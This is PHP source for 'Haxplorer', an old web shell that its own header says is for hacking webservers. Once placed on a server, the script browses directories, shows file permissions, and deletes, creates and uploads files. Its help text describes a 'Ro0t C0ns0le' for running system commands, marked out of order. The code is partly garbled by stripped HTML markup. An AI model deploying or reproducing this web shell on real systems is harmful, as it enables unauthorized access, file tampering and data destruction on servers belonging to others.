/* ***************************************************************************************** * HACKSCRIPT.PHP BY MACKER 31-10-2001 * ***************************************************************************************** * * * Welcome to Haxplorer script... * * This script will allow you to browse webservers etc... * * Just copy the file to your directory and open it in your Internet Browser. * * * * The webserver should support PHP... * * * * You can modify the script if ya want, but please send me a copy to: * * DRAZZ01@HOTMAIL.COM * ***************************************************************************************** !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !! PLEASE NOTE: You should use this script at own risk, it should do damage to the !! !! Sites or even the server... You are responsible for your own deeds. !! !! Usage of this script allows you to hack webservers and this is !! !! considered as ILLEGAL!!! !! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! */ //Setting some envirionment variables... $SFileName="indx.php3"; //I added this to ensure the script will run correctly... //Please enter the Script's filename in this variable. $PHPVer=phpversion(); $isGoodver=(intval($PHPVer[0])>=4); $scriptTitle = "AccessScript"; $scriptident = "$scriptTitle by Macker"; $scriptdate = "31-10-2001"; $scriptver = "2.1"; $linkfontsize = "12px"; $bodyfontsize = "12px"; $tablefontsize = "12px"; $editimg = "img/edit.JPG"; $editalt = "Edit"; $downlimg = "img/download.JPG"; $downlalt = "Download"; $uplimg = "img/upload.JPG"; $uplalt = "Upload"; $delimg = "img/delete.JPG"; $delalt = "Delete"; $viewimg = "img/view.JPG"; $viewalt = "View"; $renimg = "img/rename.JPG"; $renalt = "Rename"; $moveimg = "img/move.JPG"; $movealt = "Move"; $copyimg = "img/copy.JPG"; $copyalt = "Copy"; $execimg = "img/exec.JPG"; $execalt = "Execute"; // function spacetonbsp($instr) { return str_replace(" ", " ", $instr); } function formatsize($insize) { $size = $insize; $add = "B"; if ($size > 1024) { $size = intval(intval($size) / 1.024)/1000; $add = "KB"; } if ($size > 1024) { $size = intval(intval($size) / 1.024)/1000; $add = "MB"; } if ($size > 1024) { $size = intval(intval($size) / 1.024)/1000; $add = "GB"; } if ($size > 1024) { $size = intval(intval($size) / 1.024)/1000; $add = "TB"; } return "$size $add"; } // \n"; echo "\n"; echo "
\n";
echo "
\n"; } // --> // if (function_exists('array_merge')) {$filelist = array_merge ($dirn, $filen);} else {$filelist = $dirn+$filen;} while (list ($key, $file) = each ($filelist)) { if (is_dir("$dir/$file")) // { // echo " | ||||
| [$file] | \n"; // echo "\n"; // echo " | \n"; // echo " | \n"; if ( @is_readable("$dir/$file") ) { echo "R"; } if (function_exists('is_writeable')) {if ( @is_writeable("$dir/$file") ) { echo "W"; }} else { echo "(W)"; } if ( @is_executable("$dir/$file") ) { echo "X"; } echo " | \n"; // echo ""; echo " |
| $file | \n"; } else { echo "||||
| $file | \n"; } // echo "\n"; $size = @filesize("$dir/$file"); $add = "B"; If ($size != false) { echo " ".formatsize($size).""; } else { echo " 0 B"; } echo " | \n"; // echo "\n"; if ( @is_readable("$dir/$file") ) { echo "R"; } if ( @is_writeable("$dir/$file") ) { echo "W"; } if ( @is_executable("$dir/$file") ) { echo "X"; } if (function_exists('is_uploaded_file')) { if ( @is_uploaded_file("$dir/$file") ) { echo "U"; } } else {echo "(U)";} echo " | \n"; // echo "\n"; echo " ".date("D d-m-Y H:i:s", filemtime("$dir/$file"))." "; echo " | "; echo "
| \n"; echo " ".@count ($dirn)." Dir(s), ".@count ($filen)." File(s) \n"; echo " | \n"; echo " Total filesize: ".formatsize($filesizes)." |
| Server's PHP Version: | $PHPVer | ||||||||
| Server's PHP Version: | $PHPVer (Some functions might be unavailable...) | ||||||||
| Other actions: | \n"; echo "| New File |\n | New Directory |\n | Upload a File |\n | ||||||||
| Script Location: | $PATH_TRANSLATED | ||||||||
| Your IP: | $REMOTE_HOST | ||||||||
| Browsing Directory: | $partdir | ||||||||
| Legend: | \n";
echo "
| ";
echo "
| " ;
if ($auth == "yes")
{
if (@unlink($file)==false)
{
echo "Could not remove \"$file\" "; } else { echo "Successfully removed \"$file\" "; } echo ""; } else { echo "Are you sure you want to delete \"$file\" ? "; } echo " |
| ";
$i = 1;
while (file_exists("$lastdir/newfile$i.txt"))
{
$i++;
}
$file = fopen("$lastdir/newfile$i.txt", "w+");
if ($file == false)
{
echo "Could not create the new file... "; } else { echo "Successfully created: \"$lastdir/newfile$i.txt\" "; } echo " |
| " ;
$i = 1;
while (is_dir("$lastdir/newdir$i"))
{
$i++;
}
$file = mkdir("$lastdir/newdir$i", 0777);
if ($file == false)
{
echo "Could not create the new directory... "; } else { echo "Successfully created: \"$lastdir/newdir$i\" "; } echo " |
| "; echo ""; echo " |
|
Welcome to the upload section... Please note that the destination file will be\n overwritten if it already exists!!! |
| ";
if (file_exists($userfile))
{
$res = copy($userfile, "$dir/$userfile_name");
}
echo "Uploaded \"$userfile_name\" to \"$userfile\"; \n"; if ($res) { echo "Successfully moved \"$userfile\" to \"$dir/$userfile_name\".\n "; echo "Local filename: \"$userfile_name\".\n Remote filename: \"$userfile\".\n "; echo "Filesize: ".formatsize($userfile_size).".\n Filetype: $userfile_type.\n "; } else { echo "Could not move uploaded file; Action aborted..."; } echo "" ; echo " |
| "; echo " |
| "; echo " --> Haxplorer <-- | "; echo "Haxplorer is a server side file browser wich (ab)uses the directory object to reveil the files and directories upon a webserver. This handy tools allows you to manage files and directories on a unsecure server with php support. This entire script is coded for unsecure servers, if your server is secured the script will hide commands or will even return errors to your browser... |
| "; echo " --> Ro0t C0ns0le <-- | "; echo "--OUT OF ORDER-- Ro0t C0ns0le is just a little function that allows you to perform system command on the webserver. If you're using a linux server, system commands such as ls and shred will be available for you... This function also depends on an unsecure server with php support. |
| "; echo " --> Haxplorer <-- | "; echo "Haxplorer is a server side file browser wich (ab)uses the directory object to reveil the files and directories upon a webserver. This handy tools allows you to manage files and directories on a unsecure server with php support. This entire script is coded for unsecure servers, if your server is secured the script will hide commands or will even return errors to your browser... |
| \n |